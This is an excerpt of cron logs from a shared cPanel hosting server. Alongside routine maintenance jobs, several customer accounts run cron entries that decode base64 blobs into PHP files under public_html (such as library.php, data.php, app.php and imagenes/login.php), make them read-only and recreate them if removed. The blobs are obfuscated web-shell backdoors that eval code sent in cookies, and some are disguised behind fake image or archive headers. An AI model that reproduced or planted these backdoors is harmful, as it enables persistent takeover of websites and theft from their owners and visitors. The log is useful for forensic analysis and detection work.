KSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:19:02 medusa CROND[416]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:19:02 medusa CROND[472]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:19:02 medusa CROND[473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:19:02 medusa CROND[474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:19:02 medusa CROND[475]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:19:02 medusa CROND[476]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:19:02 medusa CROND[482]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:19:02 medusa CROND[484]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:19:02 medusa CROND[485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:19:02 medusa CROND[486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:19:02 medusa CROND[489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:19:02 medusa CROND[481]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:20:01 medusa CROND[23324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:20:01 medusa CROND[23360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:20:01 medusa CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 04:20:01 medusa CROND[23414]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:20:01 medusa CROND[23468]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:20:01 medusa CROND[23497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:20:01 medusa CROND[23498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:20:01 medusa CROND[23503]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:20:01 medusa CROND[23506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23509]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:20:01 medusa CROND[23508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23512]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:20:01 medusa CROND[23513]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:20:01 medusa CROND[23510]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23511]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:20:01 medusa CROND[23518]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:20:01 medusa CROND[23523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:20:01 medusa CROND[23517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:20:01 medusa CROND[23505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:20:01 medusa CROND[23529]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:20:01 medusa CROND[23534]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:20:01 medusa CROND[23533]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:20:01 medusa CROND[23545]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23542]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:20:01 medusa CROND[23544]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23549]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:20:01 medusa CROND[23550]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:21:01 medusa CROND[13755]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
